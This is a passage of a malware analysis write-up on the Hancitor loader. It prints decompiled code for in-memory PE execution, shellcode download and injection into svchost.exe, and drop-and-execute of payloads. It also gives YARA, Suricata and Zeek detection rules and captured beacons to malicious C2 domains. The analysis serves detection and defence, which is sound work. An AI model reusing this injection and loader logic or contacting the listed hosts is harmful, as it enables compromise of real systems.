      RtlDecompressBuffer @ EXTERNAL:00000059
      mw_memcpy @ 10001450
      mw_heap_free_w @ 100013d0
        HeapFree @ EXTERNAL:00000115
    mw_check_mz_header @ 10002b40
    mw_extract_next_url @ 10002720
  mw_execute_pe @ 10003730
    mw_check_mz_header @ 10002b40 [already visited!]
    mw_map_pe_w @ 10003180
      VirtualAlloc @ EXTERNAL:0000012d
      mw_map_pe @ 10003a00
        mw_memcpy @ 10001450 [already visited!]
        mw_process_relocs @ 10003470
      VirtualFree @ EXTERNAL:0000012e
    mw_resolve_imports @ 10003580
      GetModuleHandleA @ EXTERNAL:00000132
      LoadLibraryA @ EXTERNAL:00000134
      GetProcAddress @ EXTERNAL:00000060
    mw_thread_start @ 100039a0
    CreateThread @ EXTERNAL:0000005e
    CloseHandle @ EXTERNAL:0000011e
  mw_heap_free_w @ 100013d0 [already visited!]

OrderedCallGraphGenerator.java> Finished!

mw_execute_pe supports different execution modes but all of them execute the PE file in the context of the current process.

undefined4 __cdecl mw_execute_pe(char *param_1,undefined4 param_2,int param_3,int param_4)

{
  int iVar1;
  undefined4 uVar2;
  code *entry_point;
  HANDLE local_c;
  LPVOID image_base;
  
  iVar1 = mw_check_mz_header(param_1);
  if (iVar1 == 0) {
    uVar2 = 0;
  }
  else {
    iVar1 = mw_map_pe_w(param_1,param_2,&image_base,&entry_point);
    if (iVar1 == 1) {
      mw_resolve_imports((int)image_base);
      if (param_3 == 1) {
        local_c = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,mw_thread_start,image_base,0,
                               (LPDWORD)0x0);
        if (local_c != (HANDLE)0x0) {
          CloseHandle(local_c);
        }
      }
      else if (param_4 == 1) {
        (*entry_point)(image_base,1,0);
      }
      else {
        (*entry_point)();
      }
      uVar2 = 1;
    }
    else {
      uVar2 = 0;
    }
  }
  return uVar2;
}

Where image_base and entry_point are set by mw_map_pe_w which handles the parsing and mapping of the PE file.

int __cdecl mw_map_pe_w(undefined *param_1,undefined4 param_2,LPVOID *param_3,LPVOID *param_4)

{
  int iVar1;
  int local_14;
  undefined *image_base;
  undefined *local_8;
  int e_lfanew;
  SIZE_T size_of_image;
  
  e_lfanew = *(int *)(param_1 + 0x3c);
  image_base = *(undefined **)(param_1 + e_lfanew + 0x34);
  size_of_image = *(SIZE_T *)(param_1 + e_lfanew + 0x50);
  local_14 = 0;
  local_8 = (undefined *)VirtualAlloc(image_base,size_of_image,0x3000,0x40);
  if (local_8 == (undefined *)0x0) {
    image_base = (undefined *)VirtualAlloc((LPVOID)0x0,size_of_image,0x3000,0x40);
    local_8 = image_base;
  }
  if ((local_8 != (undefined *)0x0) &&
     (iVar1 = mw_map_pe(param_1,param_2,local_8,(int)image_base), iVar1 == 1)) {
    if (param_3 != (LPVOID *)0x0) {
      *param_3 = image_base;
    }
    if (param_4 != (LPVOID *)0x0) {
      *param_4 = image_base + *(int *)(param_1 + e_lfanew + 0x28);
    }
    local_14 = 1;
  }
  if ((local_8 != (undefined *)0x0) && (local_14 == 0)) {
    VirtualFree(local_8,0,0x8000);
  }
  return local_14;
}

If param_3 of mw_execute_pe is set to 1, a new thread is spawned. param_3 is hardcoded as 0 though so this branch is unreachable.

int __cdecl mw_execute_pe_w(char *param_1,int param_2)

{
...
    mw_execute_pe(pcVar1,local_8,0,param_2);
...

If param_4 is set to 1, 3 parameters are passed when transferring the execution to entry_point. This mechanism is implemented to support executing DLLs:

The following example demonstrates how to structure the DLL entry-point function.

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
            break;
...

hinstDLL [in]

A handle to the DLL module. The value is the base address of the DLL. …

fdwReason [in]

The reason code that indicates why the DLL entry-point function is being called. This parameter can be one of the following values. … DLL_PROCESS_ATTACH 1

lpvReserved [in]

If fdwReason is DLL_PROCESS_ATTACH, lpvReserved is NULL for dynamic loads and non-NULL for static loads.

If param_4 of mw_execute_pe is set to 0, no parameters are passed when transferring the execution to entry_point. This mechanism is implemented to support executable files.

param_4 is hardcoded as 0 so this Hancitor variant does not support executing functions in DLL files via mw_execute_pe_w.

int __cdecl mw_execute_cmd(char *param_1,int *param_2)

{
...
    case 'e':
      iVar2 = mw_execute_pe_w(param_1 + 2,0);

command l

Summary: this command downloads a shellcode (available at the specified URL(s)) then executes it either in the context of the current process or launches an svchost.exe process and injects it into that.

int __cdecl mw_execute_shellcode_w(char *param_1,int param_2,int param_3)

{
  char *pcVar1;
  int iVar2;
  int local_10;
  SIZE_T local_8;
  
  local_8 = 0x500000;
  pcVar1 = (char *)mw_heap_alloc_w(0x500000);
  iVar2 = mw_download_pe_file(param_1,pcVar1,local_8,&local_8,0);
  if (iVar2 == 1) {
    mw_execute_shellcode(pcVar1,local_8,param_2,param_3);
  }
  local_10 = (int)(iVar2 == 1);
  mw_heap_free_w(pcVar1);
  return local_10;
}

Call graph of mw_execute_shellcode_w:

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_execute_shellcode_w @ 10001f60
  mw_heap_alloc_w @ 10001390
    GetProcessHeap @ EXTERNAL:00000114
    HeapAlloc @ EXTERNAL:0000005b
  mw_download_pe_file @ 10002230
    mw_check_pipe_delimiter @ 10002880
    mw_handle_http_request @ 10001fe0
      mw_memset @ 100014a0
      InternetCrackUrlA @ EXTERNAL:00000052
      mw_open_connection @ 100024f0
        InternetOpenA @ EXTERNAL:0000004e
      InternetConnectA @ EXTERNAL:00000057
      HttpOpenRequestA @ EXTERNAL:00000053
      InternetCloseHandle @ EXTERNAL:00000050
      InternetQueryOptionA @ EXTERNAL:00000055
      InternetSetOptionA @ EXTERNAL:00000054
      HttpSendRequestA @ EXTERNAL:0000004f
      HttpQueryInfoA @ EXTERNAL:00000051
      InternetReadFile @ EXTERNAL:00000056
    mw_check_custom_signature @ 10002810
    mw_decrypt_and_decompress @ 10001d40
      mw_heap_alloc_w @ 10001390 [already visited!]
      RtlDecompressBuffer @ EXTERNAL:00000059
      mw_memcpy @ 10001450
      mw_heap_free_w @ 100013d0
        HeapFree @ EXTERNAL:00000115
    mw_check_mz_header @ 10002b40
    mw_extract_next_url @ 10002720
  mw_execute_shellcode @ 10003880
    mw_launch_svchost @ 10002c40
      mw_memset @ 100014a0 [already visited!]
      GetEnvironmentVariableA @ EXTERNAL:0000011f
      lstrcatA @ EXTERNAL:0000005d
      CreateProcessA @ EXTERNAL:00000120
    VirtualAllocEx @ EXTERNAL:0000012f
    WriteProcessMemory @ EXTERNAL:00000130
    CreateRemoteThread @ EXTERNAL:0000005f
    CloseHandle @ EXTERNAL:0000011e
    VirtualAlloc @ EXTERNAL:0000012d
    mw_memcpy @ 10001450 [already visited!]
    mw_thread_start_shellcode @ 100039e0
    CreateThread @ EXTERNAL:0000005e
  mw_heap_free_w @ 100013d0 [already visited!]

OrderedCallGraphGenerator.java> Finished!
undefined4 __cdecl mw_execute_shellcode(undefined *param_1,SIZE_T param_2,int param_3,int param_4)

{
  int iVar1;
  BOOL BVar2;
  DWORD local_24;
  HANDLE local_20;
  code *local_1c;
  HANDLE local_18;
  HANDLE local_14;
  HANDLE local_10;
  LPTHREAD_START_ROUTINE local_c;
  code *local_8;
  
  if (param_3 == 0) {
    local_8 = (code *)VirtualAlloc((LPVOID)0x0,param_2,0x3000,0x40);
    if (local_8 != (code *)0x0) {
      mw_memcpy(local_8,param_1,param_2);
      if (param_4 == 0) {
        local_1c = local_8;
        (*local_8)();
        return 1;
      }
      local_18 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,mw_thread_start_shellcode,local_8,0,
                              (LPDWORD)0x0);
      if (local_18 != (HANDLE)0x0) {
        CloseHandle(local_18);
        return 1;
      }
    }
  }
  else {
    iVar1 = mw_launch_svchost(&local_10,&local_20);
    if (iVar1 == 0) {
      return 0;
    }
    local_c = (LPTHREAD_START_ROUTINE)VirtualAllocEx(local_10,(LPVOID)0x0,param_2,0x3000,0x40);
    if (((local_c != (LPTHREAD_START_ROUTINE)0x0) &&
        (BVar2 = WriteProcessMemory(local_10,local_c,param_1,param_2,(SIZE_T *)0x0), BVar2 != 0)) &&
       (local_14 = CreateRemoteThread(local_10,(LPSECURITY_ATTRIBUTES)0x0,0,local_c,(LPVOID)0x0,0,
                                      &local_24), local_14 != (HANDLE)0x0)) {
      CloseHandle(local_14);
      return 1;
    }
  }
  return 0;
}

CreateThread

CreateRemoteThread

undefined4 mw_thread_start_shellcode(undefined *param_1)

{
  (*(code *)param_1)();
  return 0;
}

This variant always spawns a svchost.exe and injects the shellcode into it, since param_3 of mw_execute_shellcode is hardcoded as 1.

int __cdecl mw_execute_cmd(char *param_1,int *param_2)

{
...
    case 'l':
      iVar2 = mw_execute_shellcode_w(param_1 + 2,1,1);
...

command n

This command is a nop as it does nothing.

int __cdecl mw_execute_cmd(char *param_1,int *param_2)

{
...
    case 'n':
      *param_2 = 1;
      iVar1 = 1;
      break;
...

command r

Summary: this command downloads the PE file (available at the specified URL(s)) then writes it to a temp file. Then it spawns it as a new process in the security context of the current process. It checks if it is a .dll, in this case it uses Rundll32.exe to run it.

int __cdecl mw_drop_and_execute_w(char *param_1)

{
  char *pcVar1;
  int iVar2;
  int local_10;
  SIZE_T local_8;
  
  local_8 = 0x500000;
  pcVar1 = (char *)mw_heap_alloc_w(0x500000);
  iVar2 = mw_download_pe_file(param_1,pcVar1,local_8,&local_8,1);
  if (iVar2 == 1) {
    mw_drop_and_execute(pcVar1,local_8);
  }
  local_10 = (int)(iVar2 == 1);
  mw_heap_free_w(pcVar1);
  return local_10;
}

Call graph of mw_drop_and_execute_w:

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_drop_and_execute_w @ 10001ef0
  mw_heap_alloc_w @ 10001390
    GetProcessHeap @ EXTERNAL:00000114
    HeapAlloc @ EXTERNAL:0000005b
  mw_download_pe_file @ 10002230
    mw_check_pipe_delimiter @ 10002880
    mw_handle_http_request @ 10001fe0
      mw_memset @ 100014a0
      InternetCrackUrlA @ EXTERNAL:00000052
      mw_open_connection @ 100024f0
        InternetOpenA @ EXTERNAL:0000004e
      InternetConnectA @ EXTERNAL:00000057
      HttpOpenRequestA @ EXTERNAL:00000053
      InternetCloseHandle @ EXTERNAL:00000050
      InternetQueryOptionA @ EXTERNAL:00000055
      InternetSetOptionA @ EXTERNAL:00000054
      HttpSendRequestA @ EXTERNAL:0000004f
      HttpQueryInfoA @ EXTERNAL:00000051
      InternetReadFile @ EXTERNAL:00000056
    mw_check_custom_signature @ 10002810
    mw_decrypt_and_decompress @ 10001d40
      mw_heap_alloc_w @ 10001390 [already visited!]
      RtlDecompressBuffer @ EXTERNAL:00000059
      mw_memcpy @ 10001450
      mw_heap_free_w @ 100013d0
        HeapFree @ EXTERNAL:00000115
    mw_check_mz_header @ 10002b40
    mw_extract_next_url @ 10002720
  mw_drop_and_execute @ 10003b30
    GetTempPathA @ EXTERNAL:0000013a
    GetTempFileNameA @ EXTERNAL:0000013b
    mw_write_to_file @ 10003ac0
      CreateFileA @ EXTERNAL:00000138
      WriteFile @ EXTERNAL:00000139
      CloseHandle @ EXTERNAL:0000011e
    mw_check_if_dll @ 100033c0
    wsprintfA @ EXTERNAL:00000062
    mw_create_process_w @ 100036c0
      mw_memset @ 100014a0 [already visited!]
      CreateProcessA @ EXTERNAL:00000120
      CloseHandle @ EXTERNAL:0000011e
  mw_heap_free_w @ 100013d0 [already visited!]

OrderedCallGraphGenerator.java> Finished!

The temp files can be recognized by having the BN prefix.

bool __cdecl mw_drop_and_execute(LPCVOID param_1,DWORD param_2)

{
  bool bVar1;
  int iVar2;
  CHAR local_310 [260];
  CHAR local_20c [260];
  CHAR local_108 [260];
  
  GetTempPathA(0x104,local_20c);
  GetTempFileNameA(local_20c,s_BN_100042c0,0,local_108);
  iVar2 = mw_write_to_file(local_108,param_1,param_2);
  if (iVar2 == 1) {
    iVar2 = mw_check_if_dll((int)param_1);
    if (iVar2 == 1) {
      wsprintfA(local_310,s_Rundll32.exe_%s,_start_100042c4,local_108);
      bVar1 = mw_create_process_w(local_310);
    }
    else {
      bVar1 = mw_create_process_w(local_108);
    }
  }
  else {
    bVar1 = false;
  }
  return bVar1;
}

GetTempPathA

GetTempFileNameA

undefined4 __cdecl mw_write_to_file(LPCSTR param_1,LPCVOID param_2,DWORD param_3)

{
  HANDLE hFile;
  
  if (((param_2 != (LPCVOID)0x0) && (param_3 != 0)) &&
     (hFile = CreateFileA(param_1,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0),
     hFile != (HANDLE)0xffffffff)) {
    WriteFile(hFile,param_2,param_3,&param_3,(LPOVERLAPPED)0x0);
    CloseHandle(hFile);
    return 1;
  }
  return 0;
}

CreateFileA

WriteFile

The file type is determined by checking the Characteristics flags. If IMAGE_FILE_DLL (0x2000) is set then the file is a .dll.

int __cdecl mw_check_if_dll(int param_1)

{
  return (uint)((*(ushort *)(param_1 + *(int *)(param_1 + 0x3c) + 0x16) & 0x2000) != 0);
}

Then finally the process is spawned.

bool __cdecl mw_create_process_w(LPSTR param_1)

{
  BOOL BVar1;
  STARTUPINFO local_58;
  _PROCESS_INFORMATION local_14;
  
  local_58.cb = 0x44;
  mw_memset((undefined *)&local_58.lpReserved,0,0x40);
  BVar1 = CreateProcessA((LPCSTR)0x0,param_1,(LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0,0
                         ,0,(LPVOID)0x0,(LPCSTR)0x0,&local_58,&local_14);
  if (BVar1 != 0) {
    CloseHandle(local_14.hProcess);
    CloseHandle(local_14.hThread);
  }
  return BVar1 != 0;
}

Retry logic

The failed commands are stored and retried later.

void mw_main(void)

{
...
          iVar1 = mw_execute_cmd(local_8,&local_1c);
          if ((iVar1 == 1) && (local_1c == 0)) {
            mw_store_failed_cmd(local_8);
          }
...
    Sleep(60000);
    mw_retry_failed_cmd();
    Sleep(60000);
...
undefined4 __cdecl mw_store_failed_cmd(LPCSTR param_1)

{
  LPVOID pvVar1;
  uint local_8;
  
  local_8 = 0;
  while( true ) {
    if (0x1f < local_8) {
      return 0;
    }
    if (*(int *)(&DAT_10007160 + local_8 * 4) == 0) break;
    local_8 = local_8 + 1;
  }
  pvVar1 = mw_heap_alloc_w(0x200);
  *(LPVOID *)(&DAT_10007160 + local_8 * 4) = pvVar1;
  *(undefined4 *)(&DAT_100071e0 + local_8 * 4) = 0x14;
  lstrcpyA(*(LPSTR *)(&DAT_10007160 + local_8 * 4),param_1);
  return 1;
}
void mw_retry_failed_cmd(void)

{
  int local_10;
  char *local_c;
  uint local_8;
  
  for (local_8 = 0; local_8 < 0x20; local_8 = local_8 + 1) {
    local_c = (char *)mw_process_pending_cmd(local_8);
    if (local_c != (char *)0x0) {
      local_10 = 0;
      mw_execute_cmd(local_c,&local_10);
      if (local_10 == 1) {
        mw_remove_executed_cmd(local_8);
      }
    }
  }
  return;
}

Upon successful execution the previously failed commands are removed from the list.

bool __cdecl mw_remove_executed_cmd(int param_1)

{
  int iVar1;
  
  iVar1 = *(int *)(&DAT_10007160 + param_1 * 4);
  if (iVar1 != 0) {
    mw_heap_free_w(*(LPVOID *)(&DAT_10007160 + param_1 * 4));
    *(undefined4 *)(&DAT_10007160 + param_1 * 4) = 0;
    *(undefined4 *)(&DAT_100071e0 + param_1 * 4) = 0;
  }
  return iVar1 != 0;
}

YARA

Note: the rules are available here as well.

Packed binary

DiE cant identify the packer, maybe it is custom made. Without diving deep into the packer mechanism, I created the following YARA rule manually. This rule might not be strict enough, it might make sense to auto generate a YARA rule using yarGen or similar alternatives as a future improvement.

import "pe"

rule hancitor_packed {
  meta:
    description = "Hancitor (packed)"
    author = "Andras Gemes"
    date = "2025-02-18"
    sha256 = "efbdd00df327459c9db2ffc79b2408f7f3c60e8ba5f8c5ffd0debaff986863a8"
    ref1 = "https://shadowshell.io/hancitor-loader"
    ref2 = "https://bazaar.abuse.ch/sample/efbdd00df327459c9db2ffc79b2408f7f3c60e8ba5f8c5ffd0debaff986863a8"

  strings:
    /*
                            **************************************************************
                            * Export Name Pointers                                       *
                            **************************************************************
                            DAT_1005d3d0                                    XREF[1]:     1005d3c0(*)  
      1005d3d0 e6 d3 05 00     ibo32      1005d3e6                                         = "Broke"
      1005d3d4 ec d3 05 00     ibo32      1005d3ec                                         = "Necessaryearly"
    */
    $1 = "Broke"
    $2 = "Necessaryearly"

    /*
      1005ac6b 68 88 0e        PUSH       0xe88
               00 00
      1005ac70 68 10 75        PUSH       DAT_10007510                                     = E1h
               00 10
      1005ac75 68 18 09        PUSH       DAT_10060918
               06 10
      1005ac7a e8 f1 ca        CALL       _memcpy                                          void * _memcpy(void * _Dst, void
               fb ff
    */
    $_memcpy = { 68 88 0e 00 00 68 [4] 68 [4] e8 }

    /*
      1005b526 68 83 05        PUSH       0x583
               00 00
      1005b52b 8d 54 24 34     LEA        EDX=>local_b10,[ESP + 0x34]
      1005b52f 52              PUSH       EDX
      1005b530 ff 15 18        CALL       dword ptr [->KERNEL32.DLL::GetSystemDirectoryW]  = 0005c73a
               10 00 10
    */
    $GetSystemDirectoryW = { 68 83 05 00 00 8d 54 24 34 52 ff 15 }

    /*
      1005a3ad 68 83 05        PUSH       0x583
               00 00
      1005a3b2 68 20 fc        PUSH       DAT_1005fc20
               05 10
      1005a3b7 6a 00           PUSH       0x0
      1005a3b9 ff 15 28        CALL       dword ptr [->KERNEL32.DLL::GetModuleFileNameW]   = 0005c778
               10 00 10
    */
    $GetModuleFileNameW = { 68 83 05 00 00 68 [4] 6a 00 ff 15 }

    /*
      1005a401 a1 20 20        MOV        EAX,[DAT_10072020]
               07 10
      1005a406 8b 15 94        MOV        EDX,dword ptr [DAT_1005f094]                     = 000A9AD5h
               f0 05 10
      1005a40c 68 14 09        PUSH       DAT_10060914
               06 10
      1005a411 6a 40           PUSH       0x40
      1005a413 68 00 51        PUSH       0x5100
               00 00
      1005a418 50              PUSH       EAX
      1005a419 6a ff           PUSH       -0x1
      1005a41b 8d 9c 16        LEA        EBX,[ESI + EDX*0x1 + 0x10f]
               0f 01 00 00
      1005a422 ff 15 38        CALL       dword ptr [->KERNEL32.DLL::VirtualProtectEx]     = 0005c7c6
               10 00 10
    */
    $VirtualProtectEx = { a1 [4] 8b 15 [4] 68 [4] 6a 40 68 00 51 00 00 50 6a ff 8d 9c 16 0f 01 00 00 ff 15 }

    /*
      1005a4f9 2a c2           SUB        AL,DL
      1005a4fb 68 20 fc        PUSH       DAT_1005fc20
               05 10
      1005a500 02 c3           ADD        AL,BL
      1005a502 68 83 05        PUSH       0x583
               00 00
      1005a507 a2 68 f0        MOV        [DAT_1005f068],AL                                = C8h
               05 10
      1005a50c ff 15 30        CALL       dword ptr [->KERNEL32.DLL::GetCurrentDirectoryW] = 0005c79c
               10 00 10
    */
    $GetCurrentDirectoryW = { 2a c2 68 [4] 02 c3 68 83 05 00 00 a2 [4] ff 15 }

    /*
      10028e6f 8a da           MOV        BL,DL
      10028e71 2a d8           SUB        BL,AL
      10028e73 02 d9           ADD        BL,CL
      10028e75 80 c3 19        ADD        BL,0x19
      10028e78 0f b6 cb        MOVZX      ECX,BL
      10028e7b 2b ca           SUB        ECX,EDX
      10028e7d 0f b7 d6        MOVZX      EDX,SI
      10028e80 03 d1           ADD        EDX,ECX
      10028e82 89 15 64        MOV        dword ptr [DAT_1005f064],EDX                     = 000BE899h
               f0 05 10
    */
    $decrypt1 = { 8a da 2a d8 02 d9 80 c3 19 0f b6 cb 2b ca 0f b7 d6 03 d1 89 15 }

    /*
      10028e88 8b 1d b8        MOV        EBX,dword ptr [DAT_1005f0b8]                     = 00000051h
               f0 05 10
      10028e8e 81 c7 d0        ADD        EDI,0x10864d0
               64 08 01
      10028e94 8a cb           MOV        CL,BL
      10028e96 2a c8           SUB        CL,AL
      10028e98 89 7d 00        MOV        dword ptr [EBP],EDI
      10028e9b 80 c1 17        ADD        CL,0x17
      10028e9e 83 c5 04        ADD        EBP,0x4
      10028ea1 83 6c 24        SUB        dword ptr [ESP + local_c],0x1
               10 01
      10028ea6 89 3d 24        MOV        dword ptr [DAT_10072024],EDI
               20 07 10
    */
    $decrypt2 = { 8b 1d [4] 81 c7 d0 64 08 01 8a cb 2a c8 89 7d 00 80 c1 17 83 c5 04 83 6c 24 10 01 89 3d }

  condition:
    pe.is_pe and 5 of them
}

Unpacked binary

The unpacked DLL has much more distinctive characteristics (e.g. specific strings, and the SHA1 and RC4 based config extractor) which enables constructing a good YARA rule.

import "pe"

rule hancitor_unpacked {
  meta:
    description = "Hancitor (unpacked)"
    author = "Andras Gemes"
    date = "2025-02-18"
    sha256 = "3b0e94042c0387a80f2f59ae38e8bdf1cd026a328c1b641b777403ae575ba0f0"
    ref1 = "https://shadowshell.io/hancitor-loader"
    ref2 = "https://bazaar.abuse.ch/sample/efbdd00df327459c9db2ffc79b2408f7f3c60e8ba5f8c5ffd0debaff986863a8"

  strings:
    $1 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
    $2 = "http://api.ipify.org"
    $3 = "0.0.0.0"
    /*
      undefined4 __cdecl mw_check_cmd(char *param_1)

      {
        char *local_8;
        
        local_8 = s_ncdrleb_100041f0;
        if (param_1[1] == ':') {
          for (; *local_8 != '\0'; local_8 = local_8 + 1) {
            if (*local_8 == *param_1) {
              return 1;
            }
          }
        }
        return 0;
      }
    */
    $4 = "ncdrleb"
    $5 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
    $6 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)"
    $7 = "Rundll32.exe %s, start"
    $8 = "svchost.exe"
    $9 = "explorer.exe"
    $10 = "SystemRoot"
    $11 = "\\System32\\svchost.exe"
    $12 = "MASSLoader.dll"
    /*
                            **************************************************************
                            * Export Name Pointers                                       *
                            **************************************************************
                            DAT_100043e0                                    XREF[1]:     100043d0(*)  
      100043e0 fb 43 00 00     ibo32      100043fb                                         = "FCQNEAXPXCR"
      100043e4 07 44 00 00     ibo32      10004407                                         = "GSDEAEBPVHTSM"
    */
    $13 = "FCQNEAXPXCR"
    $14 = "GSDEAEBPVHTSM"

    /*
      10002d1c 8d 4d fc        LEA        ECX=>local_8,[EBP + -0x4]
      10002d1f 51              PUSH       ECX
      10002d20 6a 00           PUSH       0x0
      10002d22 6a 00           PUSH       0x0
      10002d24 68 04 80        PUSH       CALG_SHA1 // 0x8004
               00 00
      10002d29 8b 55 f8        MOV        EDX,dword ptr [EBP + local_c]
      10002d2c 52              PUSH       EDX
      10002d2d ff 15 0c        CALL       dword ptr [->ADVAPI32.DLL::CryptCreateHash]      = 00004bde
               40 00 10
    */
    $CryptCreateHash = { 8d 4d fc 51 6a 00 6a 00 68 04 80 00 00 8b 55 f8 52 ff 15 }

    /*
      10002d57 8d 45 f4        LEA        EAX=>local_10,[EBP + -0xc]
      10002d5a 50              PUSH       EAX
      10002d5b 8b 4d ec        MOV        ECX,dword ptr [EBP + local_18]
      10002d5e 51              PUSH       ECX
      10002d5f 8b 55 fc        MOV        EDX,dword ptr [EBP + local_8]
      10002d62 52              PUSH       EDX
      10002d63 68 01 68        PUSH       CALG_RC4 // 0x6801
               00 00
      10002d68 8b 45 f8        MOV        EAX,dword ptr [EBP + local_c]
      10002d6b 50              PUSH       EAX
      10002d6c ff 15 18        CALL       dword ptr [->ADVAPI32.DLL::CryptDeriveKey]       = 00004baa
               40 00 10

    */
    $CryptDeriveKey = { 8d 45 f4 50 8b 4d ec 51 8b 55 fc 52 68 01 68 00 00 8b 45 f8 50 ff 15 }

  condition:
    pe.is_pe and 8 of them
}

Suricata

Note: the rules are available here as well.

Since the malware is actively trying to reach the C2 servers, IDS/IPS rules can be created to detect and block it.

$ cat hancitor.rules
alert http any any -> any any (msg:"Hancitor beacon"; flow:established,to_server; http.request_body; content:"GUID="; content:"&BUILD="; content:"&INFO="; content:"&EXT="; content:"&IP="; content:"&TYPE=1"; content:"&WIN="; sid:1000001; rev:2;)
$ sudo suricata -c /etc/suricata/suricata.yaml -s hancitor.rules -i enp0s3
$ sudo tail -f /var/log/suricata/fast.log
02/24/2025-15:31:54.255497  [**] [1:1000001:2] Hancitor beacon [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.56.129:49929 -> 192.168.56.128:80
02/24/2025-15:31:54.275576  [**] [1:1000001:2] Hancitor beacon [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.56.129:49930 -> 192.168.56.128:80
02/24/2025-15:31:54.299836  [**] [1:1000001:2] Hancitor beacon [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.56.129:49931 -> 192.168.56.128:80

Zeek

If a PCAP storage system is also in place, after an alert is generated by the IDS/IPS, the event can be easily investigated with analysis tools like zeek and zeek-cut.

$ tshark -i enp0s3 -w dump.pcapng
$ zeek -r dump.pcapng
$ zeek-cut -d ts uid host uri < http.log
2025-02-24T15:31:54-0500	CuRutT0sI7Y5RBzIk	declassivan.ru	/8/forum.php
2025-02-24T15:31:54-0500	CHa5Vt2p9waXvlWhyh	idgentexpliet.ru	/8/forum.php
2025-02-24T15:31:54-0500	CPFdVId79T6AX9m31	api.ipify.org	/
2025-02-24T15:31:53-0500	CQVP9D3ivOMOgkWNCf	ctldl.windowsupdate.com	/msdownload/update/v3/static/trustedr/en/authrootstl.cab?f1331f57fc831c0d
2025-02-24T15:31:54-0500	CmExvp20ugiy1cdD4a	intakinger.com	/8/forum.php
$ tshark -r dump.pcapng -Y "http.host contains declassivan.ru" -T fields -e http.file_data
GUID=11575264094754111496&BUILD=2508_bqplf&INFO=DESKTOP-O8AU853 @ DESKTOP-O8AU853\gemesa&EXT=&IP=<html>\n  <head>\n    <title>INetS&TYPE=1&WIN=10.0(x64)